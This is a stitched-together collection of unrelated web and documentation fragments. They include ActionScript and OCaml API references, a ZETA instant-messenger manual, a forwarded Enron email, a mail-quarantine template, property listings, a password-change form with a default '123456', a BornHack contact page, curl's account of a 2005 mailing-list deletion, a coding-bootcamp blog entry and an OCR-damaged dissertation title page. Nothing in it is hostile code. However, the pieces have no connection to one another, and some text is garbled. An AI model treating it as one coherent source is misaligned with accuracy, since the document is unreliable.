protected function markPressed(keyCode:int):void
Parameters
keyCode:int |
| readOnce | () | method |
public function readOnce(keyCode:int):Boolean
Parameters
keyCode:int |
Boolean |
| removeKeyListener | () | method |
public function removeKeyListener(keyCode:int, listener:Function):void
Parameters
keyCode:int |
|
listener:Function |
| shooting | () | method |
public function shooting():Boolean
Returns
Boolean |
| shutdown | () | method |
public function shutdown():void
| updateACS | () | method |
protected function updateACS(event:KeyboardEvent):void
Parameters
event:KeyboardEvent |
| DOUBLE_TAP | constant |
protected static const DOUBLE_TAP:int = 250
| IGNORE_DOUBLE | constant |
protected static const IGNORE_DOUBLE:int = 40


This is only a test file for some test works
Only for test purposes, not to be used for anything else
This is to try few things out, for now. If you want to check this out on your own do not hesitate to visit :


The Instant Messenger Kit
Configuring the Instant Messenger
To use the IM Kit, you will need an account on one or more of the IM services that we support. The IM kit is not capable of creating accounts for any of the protocols. To edit your settings for the Instant Messenger Kit and the installed protocol(s), right-click the im_kit's replicant in the Deskbar and select Settings.
Server
im_server
The IM kit can be set to start up with your system. This can be done in two ways, by adding a shortcut of im_server to ZETA's Autostart folder or by simply checking Auto-Start for both the im_client, im_logger and im_server in the IM preferences.
Activating the Blink Deskbar icon option will make the IM kit's Deskbar replicant blink when you receive an instant message. For the Deskbar replicant to be able to blink you will first have to activate Show icon in Deskbar.
The Debug log threshold can be set to High.
An Away Message can be set system wide for all protocols, but you can also set an unique away message for each protocol.
Protocols
In the IM Server settings click on the protocol you want to edit.
Yahoo!
Yahoo! has made their own instant messaging client and protocol. To use the protocol under the IM kit, you will have to have a generic "Yahoo! ID" that let you make use of their services (mail, im, calendar and more). There is also a standalone Yahoo! Messenger (BeY!) for ZETA available on BeBits.
MSN
The MSN Messenger is an instant messaging system developed by Microsoft, that works together their Passport system. The Instant Messenger kit has partial support for this protocol, as you can only send and receive messages with this protocol implementation. To make use of this protocol you will have to have a Passport Email. Most people use their hotmail address, but also other e-mail addresses can be used. Add your Passport Password and a Display Name.
When it comes to the MSN protocol there are two standalone applications available, MSN ++ and Bme.
Jabber
Jabber is a set of streaming XML protocols and technologies that enable any two entities on the Internet to exchange messages, presence and other structured information. Username and Password is added as for the other supported protocols.
What differs the Jabber protocol compared to the other protocols, is that you also have to add information about the server that you want to use. There are tens of thousands of Jabber servers running today, and millions of people use Jabber for IM. These servers can either be a private Jabber network or a public server. The jabberd server software makes the architecture of the Jabber network similar to e-mail. This is currently one of the few protocols that enable individuals and organizations to take control of their IM experience. If your company is running Zeta on your desktop computers and you are in the need of an IM server, then jabberd should be your choice.
A list of available IM servers are available on Jabber web site.
ICQ
The ICQ protocol was the first supported protocol in the IM kit. ICQ is a play of the phrase "I seek you". To use the ICQ protocol, you will need an ICQ account. ICQ users are indetified by numbers (UIN) instead of usernames. In the ICQ settings you will find fields for adding your UIN, Password, and choose your prefered Text encoding.
The default text encoding is UTF-8. For European users we recommend ISO 8859-1, as it is commonly used for the following languages: Albanian, Basque, Catalan, Danish, Dutch, English, Faroese, French (missing only œ), Finnish, German, Icelandic, Irish, Italian, Norwegian, Portuguese, Rhaeto-Romanic, Scottish, Spanish and Swedish. The JIS encoding refers to several Japanese Industrial Standards for encoding the Japanese language. Shift-JIS is a character encoding for the Japanese language developed by Microsoft. EUC (Extended Unix Coding) is an 8-bit character encoding used primarily for Japanese and Korean. The last supported encoding Windows 1251, is an 8-bit character encoding, designed to cover languages that use the Cyrillic alphabet such as Russian and other languages.
For information about the various input_servers available for Zeta, please read the article How to use Input Servers in Zeta.
To activate the changes you have made, press Save.
Google Talk
Google Talk is a popular, lightweight Jabber-based instant messaging client with voice capabilities, currently only available for Windows. But as it is based on the open Jabber (XMPP) protocol, you can chat with friends having Google Talk from other third party IM clients, including the IM kit.
AIM
If you want to start using the AIM protocol, you will have to register at http://www.aim.com/. When registered, you will have your Screen Name and a Password, which you can add to this preflet.
Information for the User Profile is optional. User profiles provide a way for individuals to share backgrounds and opinions with the community, and is a nice way to show that you are a Zeta user.
After having added the information you want for the AIM protocol, press Save to activate the protocol. The AIM protocol is called OSCAR (Open System for CommunicAtion in Realtime), and is the same protocol that also ICQ makes use of.
For more information about using the AIM protocol under Zeta, please read the BeAIM article.
Clients
im_binlogger
The im_binlogger collecting up the bmessages that are sent between the im_server and the client of your choice, and writing them to logs for each person that you are having registered an IM protocol on. These logs can be read with the im_binlog_viewer.
im_logger
im_logger is listening to the IM kit applications and writing them to a simple text file found in your home folder (im_kit.log). You will for instance see all the errors that appears the IM Kit here.
im_infopopper
The small tool InfoPopper first started as part of the IM kit. The IM kit has it's own settings for these pop-ups. You can here edit the way that the information is presented you on the screen. The InfoPopper window can contain an icon. As the icons are in SVG, you can set the prefered size on them.
im_client
The im_client has a Menubar containing scalable icons. The default size is set to 32 pixels, but if you have a high screen resolution, you might want to set the Icon Size to 48 or even 64 pixels.
The im_client has by default both Show 'Send' button and Send messages with CMD-Enter instead of Enter activated.
As mentioned above you can Auto-start the im_logger together with the im_server and im_client during the system startup.


From:Geaccone To:Tran Sent:2017-01-11T04:38:58.0000000Z Subject:FW: Suggested Template for Lay Reviews
The O & M/G & A graph needs to be done in two graphs. One for direct costs and one for Corporate costs. This way you can better see the increase in the Corp costs.
Thanks
Tracy
-----Original Message-----
From: Geaccone, Tracy
Sent: Friday, October 26, 2001 2:18 PM
To: Tran, Agatha; Lindholm, Tod A.; Perchal, Cheryl; Walker, Blake; Anderson, Michael; Sommers, Jeffrey E.; Barnes, Jim
Subject: Suggested Template for Lay Reviews
Company name should be replaced by your business unit name.
EGS in the page # should be replaced by the abbreviated name of your business unit, i.e. EGAS, EEOS, ETS, etc. This works better if you do this in the View, Master, Slide Master area.
The O&M/G&A graph should include your direct business unit expenses, Corporate costs and other significant allocated costs.
Please break out the Corporate and allocated costs for the ones that have increased significantly.
Please use the Arial font.
It may work better if you insert your slides into this template.
We are suggesting that for comparison purposes for financial data we only show 2001 Third CE and 2002 Plan. If that does not tell the story you are trying to present, then do what you need to and we can discuss with Stan on Nov. 1.
I will not need anything in advance of the Nov. 1 meeting with Stan. However, I will need all presentations for the Lay Reviews at
9:00 a.m. on Monday, November 5, or sooner, if possible. I will need to make books and have them copied prior to the Lay Reviews on November 8.
On Nov. 1, please bring a copy for Stan, Rod, myself and a few extras.
If you need any help or have any questions, please give me a call at<PHONE_NUMBER>.
***********
EDRM Enron Email Data Set has been produced in EML, PST and NSF format by ZL Technologies, Inc. This Data Set is licensed under a Creative Commons Attribution 3.0 United States License <http://creativecommons.org/licenses/by/3.0/us/> . To provide attribution, please cite to "ZL Technologies, Inc. (http://www.zlti.com)."
***********
California


[t]Dear Sir/Madam[/t],
[t]We are sorry to inform you that we have blocked the mail you sent us recently. In order for us to protect ourselves from viruses and spam, we have to take these measurements because your mail address is not listed in our files.[/t]
[t]If you reply this message without editing, it will automatically be released to the addressee in the message. Your mail address is then automatically registered and in the future the addressee will receive your mail directly. If you do not reply, the message will be automatically deleted after 5 days.[/t]
[tg]From[/tg]: {$fromEmail|escape}
[tg]To[/tg]: {$toEmail|escape}
[tg]Subject[/tg]: {$subject|escape}
[t]We apologize for the inconvenience.[/t]
[t]Best regards,[/t]
{$client|escape}


PropertyPro
HOME
HOUSES
BLOG
ABOUT US
Filter by Country, City, State, Type:
COUNTRY:
CITY:
STATE:
TYPE
Choose type
BUNGALOW
1 BEDROOM
2 BEDROOM
3 BEDROOM
4 BEDROOM
5 BEDROOM
Search
clear filter
PROPERTY LISTINGS
14 lekki Roundabout, Lagos, Lagos state.
25000/year
2
9 ikorodu road, Calabar, Cross-River state
25000/year
1
2 Oyo Lane, Ibadan, Oyo state
25000/year
4
6 Admiral estate, Lagos, Lagos state
25000/year
5
103 Illupeju, Owerri, Imo state
25000/year
1
30 Oshodi Road, Lagos, Lagos state
25000/year
3
30 Oshodi Road, Lagos, Lagos state
25000/year
3
6 Admiral estate, Lagos, Lagos state
25000/year
5
2 Oyo Lane, Lagos, Lagos state
25000/year
4


BSc in Psychology Goethe University, Frankfurt 2015 to 2018 Thesis: 'May the power be with you: pilot data based simulations for estimating power in mixed models.' https://github.com/DejanDraschkow/mixedpower/


Old Password please input “123456”，New Password must be entered twice to submit
Username
Old Password
New Password
Confirm Password
Change Password
Reset


{% extends 'base.html' %} {% block title %} Contact | {{ block.super }} {% endblock %} {% block content %}
You can get in contact with the BornHack organisers via multiple channels:
{% include 'includes/contact.html' %}
The legal entity behind BornHack is:
BornHack IVS c/o Thomas Steen Rasmussen
Offenbachsvej 34, 2. tv.
2450 Copenhagen SV
Denmark
CVR# 37666521
Phone +4531550497


#include "_doctype.html"
At exactly 23:17 CET on September 16th 2005 - a malicious user deleted all existing mailing list info and all lists of then currently subscribed users. He did this vicious act by exploiting a security hole in the twiki installation we have on the same server that hosts the curl mailing lists (cool.haxx.se). Lots of other data was erased as well but that did fortunately not affect this project.
With the hole fixed, we restored backups only to discover that we had messed up and hadn't actually backed up the mailing lists at all.
In order to minimize the damage, I wrote up a script that scanned the logs of subscribe requests and recent postings to the mailing lists and imported these lists to the appropriate mailing lists.
This had several immediate side-effects:
Still, we got several hundred legitimate subscribers back this way. We just have to bear the initial flood of people sending 'unsubscribe' request to the list (against all sense and knowledge).
The mailing list archives weren't affected. They are even hosted on a different server. #include "_footer.html"


| Tech 1 | Tech 2 | Tech 3 | Tech 4 | Tech 5 |
My personal journey through EDA: 30 November 2014
Below are my thoughts on EDA on reflection of phase-0-week-1.
Based on the video, what's your take on the EDA experience?
The key outakes that I took out from watching the video on the EDA experience are:
- We will work are butts off to come out the other side with the fundamentals of being a world–class beginner developer
- That it is not just about mastering the code and leaping ahead fast, it's about having respect for other people in the cohort, showing support and building relationships – engineering empathy
- That the choice is ours – we have to grab the bull by the horns and hit the ground running on day one – ask questions, make mistakes, learn from those mistakes, be hungry and challenge your mind
- That the culture of the bootcamp is that of a nice, supportive one – no bullying and no putting down. Everyone will be at different stages in the learning cycle and that is respected and undestood
What is your impression of EDA?
My impressions of EDA are pretty good. I see it as a community of people that all want to achieve the same thing. I know that EDA is going to absolutely challenge every aspect of my thinking and I am looking forward to that. I am also looking forward to how I develop as a person through these challenges and how to learn the skills to manage those challenges and attribute those to everyday life.
How do you see yourself engaging with this type of culture?
Culture is a big thing for me. During my career history to date, I have been blessed with some very good cultures and then I have also had some examples of not so great cultures.
EDA’s up front and honest approach to this is refreshing and leading by example in the approach that the tutors have given us to date has been great. I feel that I can be honest about what I am going through and not be isolated or judged on that. Which is exactly the type of environment/culture I want to be in.
Have your expectations of EDA changed? If so, how?
I always new that I was about to enter one of the toughest periods in learning that I have ever done in my life – but nothing prepared me for the frustrations that I felt this week. So yeah, I do think that my epectations have changed – not in a bad way – they have just been made totally, totally REAL! I still have those moments when something is not working and I have to go figure it out, only to find out that I am not sure if that what I think should be the correct move is and if I stuff it up will I know how to fix it. But learning techniques through the challenges this week have made me aware of some tricks that I can put into play which is refreshing.
Are you excited to participate in this kind of learning environment? Does it make you nervous?
I am excited – but SO scared. In the video he talked about the two fears, of which one of them stands out for me and that is the imposter syndrome. I am very scared that I will get left behind – as I am an abstract random thinker, and really floursish after some time spent reflecting. But this week with the course load being quite large and not having the time to be able to do that has really challenged me. The only way that I have been able to manage this is to quite simply – keep going. Yeah sure it makes me nervous, but I would rather die trying than not at all.


module PriorityQueue: sig
.. end
A functionnal priorityQueue implemented with a binomial heap.
Author(s): Barthelemy Delemotte
type 'a
t
The priority queue type.
val create : ('a -> 'a -> int) -> 'a t
create compare_fun
returns a new empty priority queue.
The function compare_fun
is used to determine how to sort elements in
the queue. (compare_fun
a
b
< 0 means a
have priority on b
).
val is_empty : 'a t -> bool
is_empty q
returns true if q
is empty.
val length : 'a t -> int
length q
returns the number of elements in q
.
val top : 'a t -> 'a
top q
returns the minimum element contained in q
according to the
comparison function compare_fun
(given during construction).
Raises Failure
when q
is empty.
val push : 'a t -> 'a -> 'a t
push q elt
adds the element elt
to q
.
val pop : 'a t -> 'a t
pop q
removes the minimum element of q
.
Raises Failure
when q
is empty.
val from_list : ('a -> 'a -> int) -> 'a list -> 'a t
from_list compare_fun l
creates a new priority queue with elements of l
.
val to_list : 'a t -> 'a list
to_list q
returns a sorted list composed by elements of q
.
val merge : 'a t -> 'a t -> 'a t
merge q1 q2
creates a new priority queue by merging q1
and q2
.
The function compare_fun
of q1 q2 should be the same. But this could not
be verified. If they are not, the result is unspecified.


--- layout: post title: "How will I write content?" date: 2018-02-26 10:30:00 -0500 categories: jekyll update contentpattern: html ---
One of the challenges of getting started with jekyll is figuring out how to write content for your site. After doing a very quick search of what's actually available and what other jekyllers are using, I have decided to move forward with using a visual editor like wordtohtml.net. Familiarity with HTML leaves me the option to use other tools or templates to write content more simply. Also, if I find that I don't actually like using this pattern for writing content, the promise from jekyll is that it is easy to change. I have my fingers crossed.


Submission Metadata
{% include 'articles/submission_step.html' %}
{% if art_meta %}
{% include 'articles/article_form.html' %}
{% elif art_auth %}
{% include 'articles/article_auth_form.html'%}
{% elif art_files %}
{% include 'articles/article_file_form.html' %}
{% endif %}


| | |
- builtins.object
-
- spibusinfo
- spidevice
class spidevice(builtins.object) |
| |
spidevice(friendlyname, chipselectline, clockfrequency=<default>, databitlength=<default>, mode=MODE0, sharingmode=EXCLUSIVEMODE) -> spidevice
Creates a new instance of SPI device |
| |
Methods defined here:
- __getattribute__(self, name, /)
- Return getattr(self, name).
- __init__(self, /, *args, **kwargs)
- Initialize self. See help(type(self)) for accurate signature.
- __new__(*args, **kwargs) from builtins.type
- Create and return a new object. See help(type) for accurate signature.
- chipselectline(...)
- chipselectline() -> int
Retrieves the chip select line for the SPI device
- clockfrequency(...)
- clockfrequency() -> int
Retrieves the clock frequency for the SPI device
- databitlength(...)
- databitlength() -> int
Retrieves the data bit length for the SPI device
- deviceid(...)
- deviceid() -> string
Retrieves the device id for the SPI device
- mode(...)
- mode() -> int (MODE0,MODE1,MODE2 or MODE3)
Retrieves the mode for the SPI device
- read(...)
- read(count) -> bytes
Reads from the device the specified number of bytes
count=Number of bytes to read
- sharingmode(...)
- sharingmode() -> int (EXCLUSIVEMODE or SHAREDMODE)
Retrieves the sharing mode for the SPI device
- transfer(...)
- transfer(bytes, count) -> bytes
Writes the bytes to the device and reads the expected number of bytes in full duplex
bytes=Byte array to be written to the device
- transfersequential(...)
- transfersequential(bytes, count) -> bytes
Writes the bytes to the device and reads the expected number of bytes in sequential mode
bytes=Byte array to be written to the device
- write(...)
- write(bytes)
Writes the bytes to the device
bytes=Byte array to be written to the device
| |


| View time
series 1D
|
|
| Multiple time series can be selected and the time history of all of them is plotted, either superimposing all in one plot or plotting them separately but in one figure (ordering them vertically in one plot or in subplots). | |
| Select one or more time series |
|
| Multiple time series names can be selected from this list. This can be done by standard use of the mouse: a click on the first name and Shift^click on the last name selects all names between the first and the last name; a click on the first name and subsequent Ctrl^clicks on other names select these names including the first name; Ctrl^a selects the whole list. | |
| Draw points / lines |
|
| The drawing type to be used in the plots, one of the following: points, lines, both. | |
| Superimposed in one plot |
|
| One plot is drawn
having
all time series superimposed with different symbols, as shown in the
figure below. If up tp 5 time series are selected, they are shown in a
legend along with their respective line or/and point type, otherwise a
list of the time series names prefixed by the line or/and point type (in
matlab syntax) is displayed in the text box of "Running messages". Note
that if time series of different range are selected this plot may not
give sensible results.
|
|
| Vertically translated in one plot |
|
| One figure of a single panel is formed with the selected time series displayed with a vertical translation so that they are ordered vertically. The name of each time series is displayed in the left-low corner of the respective area. Note that if many time series are selected the subplots may not be displayed properly. This is the suggested form of plotting segmented or resampled time series all having the same range of values. | |
One subplot per time series |
|
| One figure is formed
with as many subplots as the selected time series, ordered vertically,
where the name of each time series is displayed in the left-low corner
of the respective subplot. Note that if many time series are selected
the subplots may not be displayed properly. This is the suggested form
of plotting if time series of different range are to be selected.
|
|
| Running Messages |
|
| Messages about the time series being plotted are displayed here. | |
| Exit |
|
| The window is closed. | |
| Help |
|
| This page is displayed. |


STUDIES ON THE EXTRACTION, ACCUMULATION AND METABOLISM OF PHTHALATE ESTER PLASTICIZERS FROM POLYVINYL CHLORIDE
MEDIC#L, DEVICES
BY
Rudolph J SF aeger
DISSERTATION submitted to the School of Hygiene and Public Health of The Johns Hopkins University in conformity with the requirements for the degree of
Doctor of Philosophy
Baltimore, Maryland
June, 1971
Reproduced with permission of the copyright owner. Further reproduction prohibited without permission.


Replaces constructor calls with builder patterns.
Class constructors are left unchanged, but clients are able to construct objects step by step.
It can be especially useful for constructors with long list of optional parameters.